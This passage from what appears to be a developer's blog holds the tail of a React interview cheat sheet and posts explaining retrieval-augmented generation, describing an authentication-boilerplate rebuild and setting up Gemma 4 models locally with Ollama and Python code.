Effect where an event handler belongs. If it responds to a click, it is not an effect.

Interview Rapid Fire

Question	Short answer
What is React?	A JavaScript library for building UIs from components. Declarative, state-driven.
What is the Virtual DOM?	An in-memory description of the UI. React compares old and new (reconciliation) and updates only the real DOM parts that changed.
What is JSX?	Syntax sugar that compiles to `jsx()` calls producing element objects.
Props vs state?	Props come from the parent and are read-only. State is owned by the component and changes over time.
Controlled vs uncontrolled?	Controlled: React state drives the input value. Uncontrolled: the DOM holds the value, you read it via a ref or `FormData`.
Why are keys needed?	They identify items across renders so React reuses the right DOM and state.
Why can't you mutate state?	React compares by reference. Mutation skips updates and breaks features like memo.
What does `useEffect` do?	Syncs a component with an external system after render. Cleanup runs before re-run and on unmount.
`useMemo` vs `useCallback`?	`useMemo` caches a value. `useCallback(fn, deps)` is `useMemo(() => fn, deps)`.
`useRef` vs `useState`?	Ref changes do not re-render. State changes do.
What triggers a re-render?	State change, parent re-render, context change.
What is `React.memo`?	Skips re-render when props are shallow-equal.
What is prop drilling and how do you avoid it?	Passing props through many layers. Use composition, Context, or a store.
What is lifting state up?	Moving state to the closest common parent so siblings can share it.
What are Higher-Order Components?	Functions that take a component and return a new one. Mostly replaced by hooks.
Rules of Hooks?	Top level only. Only in components or custom hooks.
What is reconciliation?	The diffing process that decides what changes in the DOM.
What is Strict Mode?	Dev-only checks: double-invokes renders and effects to find impurity and missing cleanup.
What is Suspense?	A boundary that shows a fallback while children are loading.
What are Server Components?	Components that render only on the server, send no JS to the client, and can read data directly.
Client vs Server Component?	Client: interactive, uses state and effects, needs `'use client'`. Server: static or data-heavy, no interactivity.
What changed in React 19?	Actions, `use`, `useActionState`, `useOptimistic`, `ref` as prop, metadata tags, better errors.
`useEffect` vs `useLayoutEffect`?	The first runs after paint. The second runs before paint and blocks it.
How do you optimize a slow React app?	Profile, move state down, virtualize lists, code split, then memoize. Consider the React Compiler.
How do you handle errors?	Error boundaries for render errors. `try/catch` for handlers and async code.
Why is `fetch` in `useEffect` risky?	Race conditions, no caching, no dedupe, waterfalls. Prefer a data library or framework loaders.

28. Legacy stuff you may still see

Class components. Still work, rarely written. Only needed for error boundaries.

Class lifecycle	Hook equivalent (roughly)
`constructor` / `this.state`	`useState`
`componentDidMount`	`useEffect(fn, [])`
`componentDidUpdate`	`useEffect(fn, [deps])`
`componentWillUnmount`	cleanup function in `useEffect`
`this.setState({...})`	`setState` (class merges objects, hooks replace)
`static contextType`	`useContext`

Other legacy patterns: HOCs, render props, React.createClass, ReactDOM.render, propTypes, Create React App, Redux createStore, React Router v5 Switch/Redirect/useHistory.

29. Official resources

react.dev Learn: the best free path, with interactive examples
react.dev API Reference: every hook and component
You Might Not Need an Effect
React Blog: release notes and security notices
React Compiler docs
MDN JavaScript and MDN Web Docs
React Router docs, TanStack Query, Redux Toolkit, Testing Library
Tools: React DevTools (browser extension), eslint-plugin-react-hooks

Final tip

Do not try to memorize this in one sitting. Build a small project (todo app, then a dashboard with an API), come back here whenever you get stuck, and the patterns will stick.

If this helped, save it for your next revision or interview prep. Next up in the series: Next.js.

Found something outdated or wrong? Drop a comment and I will fix it.

RAG Explained: How AI Answers Questions Using Your Own Data

VIKAS — Tue, 13 Oct 2026 09:22:18 +0000

RAG Explained: How AI Answers Questions Using Your Own Data

Imagine building an AI assistant that can answer questions about your company's internal documents, product manuals, PDFs, or database records.

You ask:

What is our refund policy for products purchased more than 30 days ago?

A general-purpose AI model might give you a generic answer. But you need an answer based on your actual refund policy, not something the model assumes.

How can you make an AI application answer questions using your own data?

One popular approach is RAG (Retrieval-Augmented Generation).

Let's understand what it is, how it works, and why it matters when building real-world AI applications.

1. What Is RAG?

RAG stands for Retrieval-Augmented Generation.

It is a technique that combines two capabilities:

Retrieval: Finding relevant information from an external knowledge source.
Generation: Using a Large Language Model (LLM) to generate an answer based on that information.

Instead of relying only on what the model learned during training, a RAG application retrieves relevant information at query time and provides it to the model as context.

In simple terms:

RAG = Retrieve relevant information + Give it to an LLM + Generate an answer.

For example, suppose you upload your company's refund policy as a PDF.

When someone asks about refunds, the application searches the document, finds the relevant section, and gives that section to the LLM to generate an answer.

The result is an answer grounded in your own information rather than a generic response.

2. Why Do We Need RAG?

LLMs are powerful, but they have limitations.

Problem 1: They Don't Automatically Know Your Private Data

A general-purpose model does not automatically know the contents of your private documents, internal company policies, or personal files.

You need a way to provide that information to the model.

Problem 2: Their Knowledge May Be Outdated

A model's training data has a cutoff, and it cannot automatically know about every recent change.

For example, your company might update its pricing policy today. The model's existing knowledge does not automatically update with it.

RAG can retrieve the latest available policy from your knowledge source, provided the source has been updated and indexed or queried appropriately.

Problem 3: They Can Hallucinate

LLMs can produce answers that sound convincing but are incorrect.

Giving a model relevant source material can help reduce this risk, although RAG does not eliminate hallucinations.

The model may still misunderstand the retrieved information or generate unsupported claims.

Problem 4: Fine-Tuning Is Not Always the Answer

Fine-tuning can help adapt a model's behavior, but it is not generally the simplest way to keep changing factual information available to an application.

If your main requirement is to answer questions about frequently updated documents, RAG is often a better starting point.

3. How Does RAG Work?

A typical RAG system has two main stages:

Preparing your data.
Retrieving information and generating answers.

Let's walk through both.

Stage A: Preparing Your Data

Before users can ask questions, the application needs to make your data searchable.

Step 1: Collect your documents

Your knowledge source might contain:

PDF files
Documentation
Product manuals
Website content
Company policies
Text files
Support articles

For this example, imagine you have a PDF containing your company's refund policy.

Step 2: Extract the text

The application extracts readable text from the document.

For example:

Customers can request a refund within 30 days
of purchase if the product is eligible.

Products damaged through misuse are not eligible
for a refund.

Approved refunds are processed within 5-7
business days.

Scanned PDFs may require OCR (Optical Character Recognition) before their text can be extracted.

Step 3: Split the text into chunks

Why not store the entire document as one large piece of text?

Because searching and retrieving smaller, meaningful sections is often more effective than passing an entire collection of documents to the model.

A process called chunking splits documents into smaller pieces.

For example:

Chunk 1:
Customers can request a refund within 30 days
of purchase if the product is eligible.

Chunk 2:
Products damaged through misuse are not eligible
for a refund.

Chunk 3:
Approved refunds are processed within 5-7
business days.

Each chunk should preserve enough context to remain meaningful.

Chunks that are too small may lose important context. Chunks that are too large may include unnecessary information.

There is no universally perfect chunk size. The right choice depends on the documents, retrieval method, and application.

Step 4: Generate embeddings

This is where embeddings enter the picture.

An embedding model converts text into a numerical representation called a vector.

Conceptually:

"Refunds are available within 30 days"

             ↓

Embedding model

             ↓

[0.12, -0.34, 0.87, 0.21, ...]

The actual vector may contain hundreds or thousands of numerical dimensions, depending on the model.

These numbers represent aspects of the text's learned meaning.

Texts with similar meanings often have vectors that are close to one another under an appropriate similarity measure.

For example:

"What is the refund period?"
"How many days do I have to return a product?"

Although the wording differs, the questions express similar intentions.

Embeddings help a retrieval system identify this relationship.

Step 5: Store the vectors and their associated text

The application stores the embeddings alongside the original chunks and relevant metadata.

A vector database or a database with vector-search capabilities can be used for this purpose.

Possible options include:

PostgreSQL with pgvector
MongoDB Vector Search
Pinecone
Weaviate
Qdrant

The exact choice depends on your existing infrastructure, data requirements, filtering needs, and operational constraints.

Importantly, storing a vector alone is not enough. The application must also be able to retrieve the corresponding source text.

Stage B: Answering a User's Question

Now imagine a user asks:

Can I get a refund after 20 days?

Here is what happens.

Step 1: Convert the question into an embedding

The application sends the question to an embedding model.

User question:
"Can I get a refund after 20 days?"

             ↓

Embedding model

             ↓

Query vector

The query vector represents the question in the embedding model's vector space.

Step 2: Search for relevant chunks

The application searches its indexed chunks for information relevant to the question.

For example, it might retrieve:

Customers can request a refund within 30 days
of purchase if the product is eligible.

Depending on the query and retrieval configuration, it might also retrieve the exclusion policy.

Vector search is one common retrieval method. Keyword search, metadata filtering, and hybrid search can also be useful.

Step 3: Send the retrieved information to the LLM

The application constructs a prompt containing the user's question and the retrieved text.

For example:

System instruction:

Answer using the provided context.
If the context does not contain enough
information, say that you do not know.

Context:

Customers can request a refund within 30 days
of purchase if the product is eligible.

Question:

Can I get a refund after 20 days?

The LLM receives the context as part of its input.

Notice that the model does not need to have learned your specific refund policy during training. Your application provides the relevant information at query time.

Step 4: Generate the answer

The LLM generates a response based on the question and retrieved context.

Example:

Yes, you may request a refund after 20 days because the policy allows refund requests within 30 days of purchase. The product must also be eligible under the refund policy.

The answer is useful because the application retrieved relevant information before asking the model to respond.

For important decisions, the application should also preserve source references and validate the answer where possible.

4. RAG Architecture at a Glance

Here is the complete workflow in a simplified diagram:

               DATA INGESTION

 Documents / PDFs / Website Content
                  |
                  v
             Text Extraction
                  |
                  v
               Chunking
                  |
                  v
             Embeddings
                  |
                  v
       Vector Database / Index
                  |
                  |
                  v
              USER QUERY
                  |
                  v
         Embed the User Query
                  |
                  v
           Retrieve Relevant
                 Chunks
                  |
                  v
       Build Context + Question
                  |
                  v
               LLM API
                  |
                  v
          Grounded AI Answer

The upper part prepares your knowledge for retrieval. The lower part retrieves relevant information whenever a user asks a question.

The document ingestion process usually happens before a question arrives, so the application does not need to reprocess every document for every request.

When documents change, the application can update the relevant index entries.

5. RAG vs. a Normal LLM Chatbot

What is the difference between a standard LLM application and a RAG application?

Feature	Normal LLM Chatbot	RAG Application
Uses an LLM	Yes	Yes
Retrieves external knowledge	Not necessarily	Yes
Can use private documents	Only if provided through some mechanism	Yes
Handles changing information	Depends on the information provided	Can retrieve updated information from its knowledge source
Requires a retrieval pipeline	No	Usually
Can provide source references	If implemented	Can provide references to retrieved sources
Can hallucinate	Yes	Yes

A normal chatbot can also answer questions about your data if you put the relevant information directly into its prompt or provide it through tools.

RAG becomes particularly useful when you need to retrieve relevant information from a larger collection of external knowledge.

6. Does RAG Require a Vector Database?

No.

This is a common misconception.

A vector database is one way to implement retrieval, but RAG is an architectural pattern, not a particular database technology.

You can build a RAG system using different retrieval approaches:

Vector search: Retrieves content based on semantic similarity using embeddings.

Keyword search: Finds content using matching terms or text-search algorithms.

Hybrid search: Combines keyword and vector search to benefit from both approaches.

Database queries: Retrieve structured records using SQL or other query mechanisms when the data and question are better suited to structured access.

For example, if a user asks:

What was my total revenue last month?

A SQL query over a properly designed transactional database is generally a better starting point than embedding every transaction and performing vector search.

However, if the user asks:

What are the most common complaints customers mention in their feedback?

Semantic retrieval, followed by analysis of the relevant feedback, may be useful.

Choose the retrieval method based on the problem, not because a technology is popular.

7. RAG vs. Fine-Tuning

RAG and fine-tuning solve different problems.

RAG provides relevant information to a model at query time.

Fine-tuning adjusts model behavior by training it further on examples.

Requirement	RAG	Fine-Tuning
Access changing documents	Well suited	Not inherently suited
Use private knowledge at query time	Well suited	Knowledge may not be reliably stored or recalled
Customize response style	Possible through prompting	May help with consistent behavior
Provide source citations	Can be designed into the retrieval pipeline	Does not inherently provide source citations
Update factual information	Update the knowledge source or index	May require additional training if relying on learned behavior
Retrieve relevant passages	Core capability	Not its primary purpose

These techniques are not mutually exclusive. A system can use retrieval and a fine-tuned model together.

For many applications that need to answer questions about changing company documents, starting with RAG is a practical choice.

8. Common RAG Problems

Building a basic RAG pipeline is relatively straightforward. Building one that consistently produces accurate answers is harder.

Here are some common failure modes.

1. Poor Chunking

If a chunk separates a statement from its explanation, the retrieved text may not contain enough context to answer the question correctly.

What helps: Test chunk sizes and splitting strategies against representative questions.

2. Irrelevant Retrieval

The retrieval system may return text that sounds similar to the query but does not answer it.

What helps: Evaluate retrieval quality, experiment with hybrid search, and consider reranking results.

3. Missing Information

If the relevant information was never indexed, or retrieval fails to find it, the LLM may not have enough evidence to answer.

What helps: Verify document ingestion, improve retrieval, and test questions whose answers are known.

4. Hallucinated Answers

Even when relevant text is available, the LLM may introduce claims that are not supported by the context.

What helps: Use explicit grounding instructions, require evidence where appropriate, and evaluate answers against their sources.

5. Stale Information

If a document changes but the retrieval index is not updated, the application may retrieve outdated information.

What helps: Implement document versioning, update workflows, and deletion or replacement of outdated chunks.

6. Ignoring Access Permissions

A RAG system may retrieve confidential information that the current user should not be allowed to access.

What helps: Enforce authorization in the retrieval layer. Apply appropriate document-level permissions and filters before exposing retrieved content to the model.

Prompt instructions alone are not an adequate security boundary.

9. Where Is RAG Used in Real Applications?

RAG is useful whenever an application needs to answer questions using a collection of external information.

Examples include:

Customer support assistants

Retrieve answers from product documentation, troubleshooting guides, and support policies.

Internal company assistants

Help employees find information in approved company documents and knowledge bases.

Document analysis tools

Answer questions about reports, contracts, manuals, and research papers.

Educational applications

Retrieve relevant passages from course materials and generate explanations based on those materials.

Product recommendation assistants

Retrieve relevant product descriptions and specifications to help users compare options.

Developer documentation assistants

Answer questions using API references, project documentation, and internal engineering guides.

Each use case has different requirements for accuracy, permissions, freshness, and evaluation. RAG is a useful building block, not a complete solution by itself.

10. What Does a Basic RAG Tech Stack Look Like?

If you are a full-stack developer interested in building a RAG application, you can start with familiar technologies.

Component	Example Technology
Frontend	React or Next.js
Backend	Node.js with TypeScript
Document processing	PDF and text extraction libraries
Embedding generation	An embedding model API
Knowledge storage	MongoDB or PostgreSQL
Vector retrieval	MongoDB Vector Search or pgvector
Answer generation	An LLM API
Deployment	Any suitable application hosting platform

You do not need to use every technology in this table.

For example, if your existing application already uses PostgreSQL, adding pgvector may be simpler than introducing a separate database.

Likewise, if your documents are small enough for a simple proof of concept, you can start with a lightweight local index before moving to production infrastructure.

Start small, measure results, and introduce additional components only when the requirements justify them.

11. The Most Important Thing to Remember

RAG does not magically make an LLM accurate.

Its effectiveness depends on several connected components:

The quality of your source documents.
The correctness of document extraction.
The way text is chunked.
The quality of embeddings.
The retrieval strategy.
The relevance of the retrieved context.
The model's ability to use that context correctly.
The evaluation and security controls around the application.

If retrieval fails, a powerful LLM cannot reliably answer using information it never received.

If retrieval succeeds but the model misinterprets the evidence, the final answer can still be wrong.

That is why RAG quality depends on the entire pipeline, not just the LLM or vector database.

Conclusion

Retrieval-Augmented Generation provides a practical way to build AI applications that answer questions using your own data.

Instead of expecting an LLM to know everything, a RAG application retrieves relevant information from an external knowledge source and supplies it as context for answer generation.

The basic workflow is straightforward:

Extract and prepare your data.
Split documents into meaningful chunks.
Generate embeddings or build another searchable index.
Retrieve relevant information for each query.
Provide that information to an LLM.
Generate and evaluate the answer.

This approach can make AI applications more useful for private documents, company knowledge, product documentation, and many other information-heavy tasks.

However, retrieval quality, data freshness, permissions, and evaluation remain essential.

If you are learning AI engineering, building a small RAG application is an excellent way to understand how LLMs, embeddings, databases, and backend systems work together.

The next step is to build one yourself and test how well it answers questions about a real collection of documents.

What would you build first with RAG: a PDF question-answering tool, a documentation assistant, or an internal company chatbot?

Share your thoughts in the comments.

I Rebuilt My Auth System From Scratch! Here's the Before vs After That Changed Everything

VIKAS — Sat, 06 Jun 2026 18:28:02 +0000

This is a submission for the GitHub Finish-Up-A-Thon Challenge

Every developer has that project. The one you abandoned mid-way, not because the idea was bad, but because life moved faster than your git commits.

For me, it was my authentication system — a half-baked Express app with manual JWT logic, no password reset, no CSRF protection, and raw MongoDB errors leaking straight to the browser. It worked. Barely. I knew it was a security liability every time I pushed it, but it sat untouched in my GitHub graveyard for months.

The GitHub Finish-Up-A-Thon gave me the push I needed to stop ignoring it.

This is the story of how SecureAuthX went from "it probably works" to production-grade.

What I Built

SecureAuthX is a production-ready authentication boilerplate built on the full MERN stack (MongoDB, Express 5, React 18, Node.js), deployed on Vercel Serverless Functions.

The core idea: authentication is one of those things every web app needs, but most developers get wrong — especially under pressure. SecureAuthX is the auth layer I wish I had when I started building projects.

What it handles out of the box:

Email/Password login with bcrypt hashing and HTTP-only cookie sessions
Magic Links — passwordless authentication via secure one-time email tokens
Email verification with seamless auto-login on success (no extra redirect step)
Forgot Password + Reset flow with immediate auto-login after reset
Rate limiting at two layers: global (100 req/15min) and auth-specific (5 req/15min)
CSRF protection via mathematically verified Origin/Referer header checks
Input validation strictly on the backend via express-validator
Anti-leak error handling — no raw DB errors ever reach the client

The frontend is React 18 with Tailwind CSS, featuring floating labels, browser autofill overlap prevention, and micro-animations. Clean, responsive, and actually pleasant to use.

But here's the part that genuinely changed how I think about auth architecture:

Powered by `@custom-auth/core`

Instead of reimplementing JWT logic, session management, and token pipelines from scratch (again), I integrated the @custom-auth/core engine as the auth backbone. This is a modular npm library ecosystem built specifically for Node.js backends, and it changed the entire architecture of how sessions and tokens are handled in this project.

The stack uses:

@custom-auth/core — core auth engine on the backend (session creation, token verification, secure cookie issuance)
@custom-auth/mongoose — Mongoose adapter, handles user schema and token storage without any boilerplate
@custom-auth/react — React adapter, exposes hooks like useSession() and useSignIn() that replace an entire Redux Toolkit setup
@custom-auth/adapter-nodemailer — plugs directly into the magic link and email verification pipeline

The useSession() hook alone replaced what used to be a full Redux store with actions, reducers, thunks, and selectors. One hook. That's it.

// Before: Redux Toolkit + 4 files + thunk middleware
// After:
const { user, status, refresh } = useSession();

This is the kind of abstraction that makes you question every over-engineered auth setup you've ever built.

Demo

Live App: secure-auth-x.vercel.app

GitHub Repo: github.com/DevCodeHub99/SecureAuthX

The live deployment runs on Vercel Serverless Functions — no long-running Node.js process, no cold-start headaches on the auth routes, and it scales automatically.

The Before vs After (This Is the Real Story)

Here's what that table actually means in real-world terms:

Feature	Old Version	SecureAuthX
Auth Architecture	Manual Express JWT logic	`@custom-auth/core` engine
Frontend State	Redux Toolkit boilerplate	`useSession()` via `@custom-auth/react`
Login Methods	Password + 6-digit OTP only	Password, Magic Links, Auto-login
Account Recovery	None	Full Forgot/Reset Password flow
Rate Limiting	None (brute-forceable)	Global (100/15m) + Auth (5/15m)
CSRF Protection	None	Strict Origin/Referer header checks
Input Validation	Frontend only	`express-validator` on backend
Error Handling	Raw DB errors to client	Generic 500s, safe console logging
Deployment	Traditional Node server	Vercel Serverless Functions

Every row in that table was a vulnerability or a developer pain point in the original version. Now they're all solved.

The Comeback Story

Let me be real about where this project was.

The original version was a classic "it works on my machine" Express auth app. I had:

JWT tokens stored in localStorage (XSS attack waiting to happen)
No rate limiting on login routes (a for loop and you're in someone's account)
No CSRF protection at all
Mongoose validation errors leaking raw database messages to the frontend response
A 6-digit OTP system I had wired manually with no time-based expiry logic
No password reset. If you forgot it, you were locked out
A Redux Toolkit setup with 4+ files just to track "is the user logged in?"

I knew all of this. I left it anyway, because shipping felt more important than getting auth right.

Here's what changed during the Finish-Up-A-Thon:

1. Ripped out the manual JWT logic entirely. Replaced with @custom-auth/core as the auth engine. Tokens are now handled in HTTP-only, Secure, SameSite=Strict cookies. JavaScript in the browser cannot read them at all.

2. Killed Redux Toolkit. The entire auth state layer was replaced by useSession() from @custom-auth/react. The hook handles session fetching, refresh logic, and status tracking. What was 4 files is now one import.

3. Built the Magic Link flow from scratch. Passwordless login via a secure one-time token sent over email, handled through @custom-auth/adapter-nodemailer. The token is single-use, time-bound, and invalidated immediately after verification.

4. Added the auto-login pipeline. After email verification, the backend validates the token, generates a session cookie on the spot, and the frontend calls await refresh() to sync the auth context silently. The user lands in the dashboard without touching a login form.

5. Implemented dual-layer rate limiting. express-rate-limit with two separate limiters: a global limiter for all API traffic (100 req/15min) and a strict auth-specific limiter (5 req/15min) on /api/auth/* routes. Brute force is now a non-issue.

6. Added CSRF protection properly. Every state-mutating request goes through Origin and Referer header validation. No token-in-form approach needed because the session cookie is SameSite=Strict.

7. Replaced error handling completely. All Mongoose and Express errors now pass through a centralized global error handler (Express 5's native async error support). The client gets a generic 500. The actual error logs to the server console. Zero stack trace exposure.

8. Migrated deployment to Vercel Serverless. The traditional long-running Node.js server is gone. Each auth route is a stateless serverless function, which also forced cleaner architecture because you can't rely on in-memory state.

The CSS floating label bug also got fixed: when Chrome or Edge autofills credentials, the label used to overlap the injected text. Fixed it using Tailwind's peer-valid selector combined with React's controlled value={} binding — the label detects injected values and moves out of the way.

My Experience with GitHub Copilot

I'll be honest: Copilot was most useful in the places I expected it least.

The big architectural decisions — switching to @custom-auth/core, restructuring the error pipeline, designing the auto-login flow — those I had to think through myself. Copilot doesn't replace architectural judgment.

But where it genuinely saved hours:

The express-validator chain. Writing validation middleware for every auth route (register, login, forgot-password, reset-password) is repetitive and easy to get wrong. I described the shape of each request and Copilot generated the full validation chain for each endpoint. I reviewed and tweaked, but I didn't start from a blank file.

The rate limiter configuration. Setting up two separate express-rate-limit instances with different windows and maxes, attaching them at the right middleware order, and making the config env-variable-driven — Copilot suggested the full setup in one shot. Accurate.

The CSRF header check utility. The Origin/Referer validation function that runs on every state-mutating request: Copilot generated the base logic from a comment describing what I needed. I hardened it and added the edge cases, but the skeleton was right.

CSS floating label autofill fix. This is the one I was most impressed by. Describing the problem — "browser autofill injects value, label overlaps because peer-placeholder-shown doesn't detect autofill" — Copilot suggested the peer-valid + controlled value approach. That's a niche CSS/React interaction. Getting it right from a description saved real debugging time.

What I learned: Copilot works best when you know exactly what you want and you're just tired of typing it. It's not a senior engineer — it's a fast typist who's read a lot of code. Use it that way and it's genuinely valuable.

Stack Summary

Frontend:  React 18 + Vite + Tailwind CSS v4 + React Router v6
           @custom-auth/react (useSession, useSignIn hooks)

Backend:   Node.js + Express 5 + MongoDB + Mongoose
           @custom-auth/core (auth engine)
           @custom-auth/mongoose (DB adapter)
           @custom-auth/adapter-nodemailer (email pipeline)
           helmet, cors, cookie-parser, express-rate-limit, express-validator

Deploy:    Vercel Serverless Functions

Repo: github.com/DevCodeHub99/SecureAuthX
Live: secure-auth-x.vercel.app

If you're building a MERN app and you're still wiring auth manually — or worse, storing tokens in localStorage — this repo is for you. Clone it, read the architecture notes in the README, and steal whatever you need.

Auth done right isn't complicated. It's just not something most tutorials bother to finish.

This time, I did.

javascript #node #security #webdev #security

Gemma 4 Is the First Open Model I'd Actually Recommend to a Client

VIKAS — Tue, 19 May 2026 10:56:33 +0000

This is a submission for the Gemma 4 Challenge: Write About Gemma 4

A client asked me three months ago whether they could build an AI feature into their SaaS product without depending on OpenAI.

Their concerns were reasonable. Vendor lock-in. Data leaving their servers. Cost unpredictability at scale. The risk of a pricing change breaking their unit economics overnight.

Six months ago, my honest answer would have been: "Not really. The open models are close, but not close enough for a production product recommendation."

After spending a week with Gemma 4, my answer has changed. This is the first open model family where I'd say yes without caveats.

Here's why, and what you need to know to actually use it.

The Questions That Actually Matter for Product Builders

Most Gemma 4 coverage asks: "Is it as good as GPT-4o?"

That's the wrong question if you're building products.

The questions that matter are:

Can I ship it commercially without legal risk?
Will it run on hardware my client already owns or can afford?
Is the quality actually good enough for the specific task I need?

For the first time with an open model family, Gemma 4 answers all three with a clear yes. Let me walk through each.

Question 1: Can I Ship It Commercially?

Every previous Gemma release came with Google's custom Terms of Use. You could experiment, you could research, but commercial deployment required reading fine print and accepting restrictions that most small teams didn't bother to fully understand.

Gemma 4 is Apache 2.0.

That means: use it commercially, fine-tune it, redistribute it, build products on it, charge money for those products. No MAU limits. No usage restrictions. No negotiating access agreements. The same license as React, TensorFlow, and half the software stack your product already runs on.

For a client project, this is the difference between "interesting prototype" and "production feature." Apache 2.0 removes the legal conversation entirely.

Question 2: Will It Run on Available Hardware?

This is where Gemma 4's architecture actually shines, and it requires understanding what Google shipped.

Gemma 4 is not one model. It's four, each designed for a different hardware reality.

E2B — For Edge and Mobile

The "E" stands for effective parameters. Using Per-Layer Embeddings (PLE), the model runs at approximately 2B effective parameters during inference despite the weight file being larger. It runs fully offline on phones, Raspberry Pi, and Jetson Nano devices. Google's benchmarks show it hitting roughly 7.6 tokens per second on a Raspberry Pi 5.

Hardware requirement at 4-bit: ~5 GB RAM
Best for: Mobile apps, edge deployments, offline-first features, anything battery or privacy sensitive

E4B — For Most Laptops

Same "E" naming, around 4.5B effective parameters at runtime. This is the entry point for most developers. Runs comfortably on a laptop with 8-12 GB RAM, supports audio and image input, and delivers noticeably better reasoning than E2B.

Hardware requirement at 4-bit: ~8 GB RAM
Best for: Developer laptops, local coding assistants, document processing, any standard dev machine

26B A4B — The Sweet Spot for Desktops and Servers

This one deserves a longer explanation because the naming trips people up constantly.

The model has 26 billion total parameters. But it's a Mixture of Experts (MoE) architecture, specifically 8 of 128 experts plus 1 shared expert activate per token. The "A" in A4B means active parameters during inference: 3.8 billion.

What this means practically: you get quality close to a 26B dense model at roughly the inference speed of a 4B model.

On the LMArena leaderboard, it scores 1441 Elo. The 31B Dense scores 1452. An 11-point gap that is invisible in most real-world tasks.

One thing that trips people up: all 26 billion parameters still need to load into memory for fast expert routing. You cannot skip the memory cost just because inference is fast. Budget ~18 GB at 4-bit, not 4 GB.

Hardware requirement at 4-bit: ~18 GB RAM
Best for: Desktop workstations, local AI servers, coding agents, RAG pipelines, any machine with 16+ GB

31B Dense — Maximum Quality

Every token activates all 31 billion parameters. Slower, but the quality leader. Currently ranked #3 on the Arena AI open model text leaderboard, with the 26B A4B at #6, both outcompeting models 20x their size. Also the cleanest choice for fine-tuning because the dense architecture gives predictable gradient flow during training.

Hardware requirement at 4-bit: ~20 GB RAM (RTX 3090 or 4090 handles this)
Best for: Fine-tuning, maximum quality requirements, cloud GPU deployments

The Quick Decision Table

Your Hardware	Pick This
Phone / Raspberry Pi / embedded device	E2B
Laptop, 8-12 GB RAM	E4B
Desktop or Apple Silicon Mac, 16+ GB	26B A4B
Workstation / Cloud GPU, 24 GB+ VRAM	31B or 26B A4B
Fine-tuning a custom model	31B
Android app via AICore Developer Preview	E2B or E4B

Practical rule: start one size smaller than you think you need. A model that runs is more useful than one that swap-thrashes or crashes on load.

Question 3: Is the Quality Good Enough?

For the specific tasks most product builders need, yes.

Gemma 4 made two architectural improvements that matter for real usage, not just benchmarks.

Long context that actually works. Previous open models advertised long context but fell apart in practice when information was buried deep in a document. Google's benchmark numbers show the 31B went from 13.5% to 66.4% on multi-needle retrieval tests. That is a functional change, not an incremental one. Passing a full codebase or a long contract in a single prompt now works in ways it didn't before.

Native function calling. Tool definitions go directly into the model via apply_chat_template. No prompt engineering tricks to force JSON output. No wrapper libraries to parse responses. The model returns structured tool calls that you parse and execute. This is what makes local agentic workflows practical.

One thing to keep in mind: the training data cutoff is January 2025. For tasks requiring current information, pair it with RAG or a web search layer. This isn't a weakness unique to Gemma 4, it's true of any local model, but it's worth planning for.

Running It: The Complete Setup

Via Ollama (Fastest Path)

# Install Ollama from ollama.com, then:
ollama pull gemma4:e4b     # ~8 GB
ollama pull gemma4:26b     # ~16 GB
ollama pull gemma4:31b     # ~20 GB

# Start chatting
ollama run gemma4:e4b

Critical step people skip: Ollama defaults to a 4,096 token context window regardless of what the model supports. It silently truncates from the beginning when the limit is hit, no error, no warning, no indication anything went wrong. If the model seems to "forget" earlier parts of a conversation, this is why.

Set it explicitly at runtime:

ollama run gemma4:e4b -p num_ctx=32768

Or in the API:

curl http://localhost:11434/api/chat \
  -d '{
    "model": "gemma4:e4b",
    "options": { "num_ctx": 32768 },
    "messages": [
      { "role": "user", "content": "Your prompt here" }
    ]
  }'

To make a permanent preset with your preferred context size:

FROM gemma4:e4b
PARAMETER num_ctx 32768

ollama create gemma4-e4b-32k -f Modelfile
ollama run gemma4-e4b-32k

Integrating with a Node.js / MERN Project

Ollama exposes an OpenAI-compatible API. If you have an existing project using the OpenAI SDK, the change is two lines:

import OpenAI from "openai";

// Before: const client = new OpenAI({ apiKey: process.env.OPENAI_API_KEY });
// After:
const client = new OpenAI({
  baseURL: "http://localhost:11434/v1",
  apiKey: "ollama", // required by the SDK, ignored by Ollama
});

async function reviewCode(code) {
  const response = await client.chat.completions.create({
    model: "gemma4:26b",
    messages: [
      {
        role: "system",
        content: "You are a senior backend developer. Review code for bugs, security issues, and performance problems. Be specific and concise."
      },
      {
        role: "user",
        content: `Review this code:\n\n\`\`\`js\n${code}\n\`\`\``
      }
    ],
    max_tokens: 800,
  });

  return response.choices[0].message.content;
}

This works because Gemma 4 has native system prompt support. In Gemma 3, the system role needed workarounds and inconsistent handling. Now it works exactly as the OpenAI API spec defines it.

Function Calling (The Agentic Part)

For tool use, the correct approach is AutoProcessor with apply_chat_template, passing tools as an argument. This is documented in Google's official function calling guide at ai.google.dev.

from transformers import AutoProcessor, AutoModelForImageTextToText
import torch

MODEL_ID = "google/gemma-4-E4B-it"

model = AutoModelForImageTextToText.from_pretrained(
    MODEL_ID,
    device_map="auto",
    torch_dtype=torch.bfloat16
)
processor = AutoProcessor.from_pretrained(MODEL_ID)

# Define your tools as JSON schema
tools = [
    {
        "name": "search_docs",
        "description": "Search internal documentation for an answer",
        "parameters": {
            "type": "object",
            "properties": {
                "query": {
                    "type": "string",
                    "description": "The search query"
                },
                "max_results": {
                    "type": "integer",
                    "description": "Number of results to return"
                }
            },
            "required": ["query"]
        }
    }
]

messages = [
    {
        "role": "user",
        "content": [
            {"type": "text", "text": "How do I reset my password in the admin panel?"}
        ]
    }
]

# Pass tools directly to apply_chat_template
inputs = processor.apply_chat_template(
    messages,
    tools=tools,
    tokenize=True,
    return_dict=True,
    return_tensors="pt",
    add_generation_prompt=True,
).to(model.device)

input_len = inputs["input_ids"].shape[-1]
output = model.generate(**inputs, max_new_tokens=200)

response = processor.decode(output[0][input_len:], skip_special_tokens=True)
print(response)
# Returns a structured tool call you parse, execute, then pass the result back

For basic text inference with the pipeline API, Gemma 4 uses the "any-to-any" task type:

from transformers import pipeline

pipe = pipeline(
    task="any-to-any",
    model="google/gemma-4-E4B-it",
    device_map="auto",
    dtype="auto"
)

messages = [
    {
        "role": "user",
        "content": [{"type": "text", "text": "Summarize this in 3 bullet points: [your text here]"}]
    }
]

output = pipe(messages, max_new_tokens=300)
print(output[0]["generated_text"][-1]["content"])

Note: the task type is "any-to-any", not "text-generation". Using the wrong task type is a common mistake when adapting older Gemma 3 code.

What I'd Actually Use Each Model For in Client Projects

Based on a week of real testing, here's how I'd map these to actual product use cases:

E2B / E4B: Offline-first mobile features. Smart reply suggestions. On-device document summarization where the user's data cannot leave the device. HIPAA-adjacent use cases where cloud AI is simply not an option.

